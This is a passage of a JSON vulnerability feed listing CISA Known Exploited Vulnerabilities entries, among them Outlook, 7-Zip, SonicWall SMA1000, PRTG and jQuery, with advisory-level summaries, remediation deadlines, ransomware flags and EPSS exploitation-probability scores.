unavailable.","publishedAt":"2025-02-11","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-02-11","dueAt":"2025-03-04","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02132,"percentile":0.81849,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-21418&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-21418","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-02-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-21418 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-21418&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-21418, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-0994","cveId":"CVE-2025-0994","aliases":[],"kind":"vulnerability","title":"Trimble Cityworks Deserialization Vulnerability","summary":"Trimble Cityworks contains a deserialization vulnerability. This could allow an authenticated user to perform a remote code execution attack against a customer's Microsoft Internet Information Services (IIS) web server.","detail":"CISA added this entry on 2025-02-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-02-07","updatedAt":null,"regions":["Global"],"vendor":"Trimble","product":"Cityworks","stacks":["Trimble","Cityworks"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-02-07","dueAt":"2025-02-28","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.31085,"percentile":0.98253,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-0994&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-0994","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-02-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-0994 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-0994&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-0994, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-15069","cveId":"CVE-2020-15069","aliases":[],"kind":"vulnerability","title":"Sophos XG Firewall Buffer Overflow Vulnerability","summary":"Sophos XG Firewall contains a buffer overflow vulnerability that allows for remote code execution via the \"HTTP/S bookmark\" feature.","detail":"CISA added this entry on 2025-02-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-02-06","updatedAt":null,"regions":["Global"],"vendor":"Sophos","product":"XG Firewall","stacks":["Sophos","XG Firewall"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-02-06","dueAt":"2025-02-27","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.10674,"percentile":0.95773,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-15069&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-15069","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-02-06","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-15069 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-15069&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-15069, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-29574","cveId":"CVE-2020-29574","aliases":[],"kind":"vulnerability","title":"CyberoamOS (CROS) SQL Injection Vulnerability","summary":"CyberoamOS (CROS) contains a SQL injection vulnerability in the WebAdmin that allows an unauthenticated attacker to execute arbitrary SQL statements remotely.","detail":"CISA added this entry on 2025-02-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue utilization of the product.","publishedAt":"2025-02-06","updatedAt":null,"regions":["Global"],"vendor":"Sophos","product":"CyberoamOS","stacks":["Sophos","CyberoamOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-02-06","dueAt":"2025-02-27","action":"The impacted product is end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue utilization of the product.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04696,"percentile":0.91732,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-29574&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-29574","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-02-06","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-29574 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-29574&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-29574, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-23748","cveId":"CVE-2022-23748","aliases":[],"kind":"vulnerability","title":"Dante Discovery Process Control Vulnerability","summary":"Dante Discovery contains a process control vulnerability in mDNSResponder.exe that all allows for a DLL sideloading attack. A local attacker can leverage this vulnerability in the Dante Application Library to execute arbitrary code.","detail":"CISA added this entry on 2025-02-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-02-06","updatedAt":null,"regions":["Global"],"vendor":"Audinate","product":"Dante Discovery","stacks":["Audinate","Dante Discovery"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-02-06","dueAt":"2025-02-27","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.08329,"percentile":0.94911,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-23748&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-23748","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-02-06","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-23748 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-23748&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-23748, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-21413","cveId":"CVE-2024-21413","aliases":[],"kind":"vulnerability","title":"Microsoft Outlook Improper Input Validation Vulnerability","summary":"Microsoft Outlook contains an improper input validation vulnerability that allows for remote code execution. Successful exploitation of this vulnerability would allow an attacker to bypass the Office Protected View and open in editing mode rather than protected mode.","detail":"CISA added this entry on 2025-02-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-02-06","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Office Outlook","stacks":["Microsoft Office","Microsoft","Office Outlook"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-02-06","dueAt":"2025-02-27","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9466,"percentile":0.99856,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-21413&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-21413","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-02-06","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-21413 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-21413&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-21413, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-0411","cveId":"CVE-2025-0411","aliases":[],"kind":"vulnerability","title":"7-Zip Mark of the Web Bypass Vulnerability","summary":"7-Zip contains a protection mechanism failure vulnerability that allows remote attackers to bypass the Mark-of-the-Web security feature to execute arbitrary code in the context of the current user.","detail":"CISA added this entry on 2025-02-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-02-06","updatedAt":null,"regions":["Global"],"vendor":"7-Zip","product":"7-Zip","stacks":["7-Zip and WinRAR","7-Zip"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-02-06","dueAt":"2025-02-27","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.67071,"percentile":0.99294,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-0411&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-0411","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-02-06","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-0411 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-0411&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-0411, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-53104","cveId":"CVE-2024-53104","aliases":[],"kind":"vulnerability","title":"Linux Kernel Out-of-Bounds Write Vulnerability","summary":"Linux kernel contains an out-of-bounds write vulnerability in the uvc_parse_streaming component of the USB Video Class (UVC) driver that could allow for physical escalation of privilege.","detail":"CISA added this entry on 2025-02-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-02-05","updatedAt":null,"regions":["Global"],"vendor":"Linux","product":"Kernel","stacks":["Linux kernel","Linux","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-02-05","dueAt":"2025-02-26","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03395,"percentile":0.88737,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-53104&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-53104","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-02-05","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-53104 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-53104&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-53104, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-19410","cveId":"CVE-2018-19410","aliases":[],"kind":"vulnerability","title":"Paessler PRTG Network Monitor Local File Inclusion Vulnerability","summary":"Paessler PRTG Network Monitor contains a local file inclusion vulnerability that allows a remote, unauthenticated attacker to create users with read-write privileges (including administrator).","detail":"CISA added this entry on 2025-02-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-02-04","updatedAt":null,"regions":["Global"],"vendor":"Paessler","product":"PRTG Network Monitor","stacks":["Paessler","PRTG Network Monitor"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-02-04","dueAt":"2025-02-25","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97939,"percentile":0.99908,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-19410&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-19410","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-02-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-19410 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-19410&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-19410, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-9276","cveId":"CVE-2018-9276","aliases":[],"kind":"vulnerability","title":"Paessler PRTG Network Monitor OS Command Injection Vulnerability","summary":"Paessler PRTG Network Monitor contains an OS command injection vulnerability that allows an attacker with administrative privileges to execute commands via the PRTG System Administrator web console.","detail":"CISA added this entry on 2025-02-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-02-04","updatedAt":null,"regions":["Global"],"vendor":"Paessler","product":"PRTG Network Monitor","stacks":["Paessler","PRTG Network Monitor"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-02-04","dueAt":"2025-02-25","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.86996,"percentile":0.99745,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-9276&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-9276","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-02-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-9276 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-9276&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-9276, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-29059","cveId":"CVE-2024-29059","aliases":[],"kind":"vulnerability","title":"Microsoft .NET Framework Information Disclosure Vulnerability","summary":"Microsoft .NET Framework contains an information disclosure vulnerability that exposes the ObjRef URI to an attacker, ultimately enabling remote code execution.","detail":"CISA added this entry on 2025-02-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-02-04","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":".NET Framework","stacks":[".NET","Microsoft",".NET Framework"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-02-04","dueAt":"2025-02-25","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98624,"percentile":0.99923,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-29059&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-29059","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-02-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-29059 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-29059&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-29059, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-45195","cveId":"CVE-2024-45195","aliases":[],"kind":"vulnerability","title":"Apache OFBiz Forced Browsing Vulnerability","summary":"Apache OFBiz contains a forced browsing vulnerability that allows a remote attacker to obtain unauthorized access.","detail":"CISA added this entry on 2025-02-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-02-04","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"OFBiz","stacks":["Apache","OFBiz"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-02-04","dueAt":"2025-02-25","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99983,"percentile":0.99982,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-45195&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-45195","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-02-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-45195 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-45195&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-45195, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-24085","cveId":"CVE-2025-24085","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Use-After-Free Vulnerability","summary":"Apple iOS, macOS, and other Apple products contain a user-after-free vulnerability that could allow a malicious application to elevate privileges.","detail":"CISA added this entry on 2025-01-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-01-29","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-01-29","dueAt":"2025-02-19","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.1751,"percentile":0.97113,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-24085&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-24085","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-01-29","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-24085 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-24085&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-24085, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-23006","cveId":"CVE-2025-23006","aliases":[],"kind":"vulnerability","title":"SonicWall SMA1000 Appliances Deserialization Vulnerability","summary":"SonicWall SMA1000 Appliance Management Console (AMC) and Central Management Console (CMC) contain a deserialization of untrusted data vulnerability, which can enable a remote, unauthenticated attacker to execute arbitrary OS commands.","detail":"CISA added this entry on 2025-01-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-01-24","updatedAt":null,"regions":["Global"],"vendor":"SonicWall","product":"SMA1000 Appliances","stacks":["SonicWall","SMA1000 Appliances"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-01-24","dueAt":"2025-02-14","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.23432,"percentile":0.97774,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-23006&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-23006","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-01-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-23006 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-23006&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-23006, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-11023","cveId":"CVE-2020-11023","aliases":[],"kind":"vulnerability","title":"JQuery Cross-Site Scripting (XSS) Vulnerability","summary":"JQuery contains a persistent cross-site scripting (XSS) vulnerability. When passing maliciously formed, untrusted input enclosed in HTML tags, JQuery's DOM manipulators can execute untrusted code in the context of the user's browser.","detail":"CISA added this entry on 2025-01-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-01-23","updatedAt":null,"regions":["Global"],"vendor":"JQuery","product":"JQuery","stacks":["JQuery"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-01-23","dueAt":"2025-02-13","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are 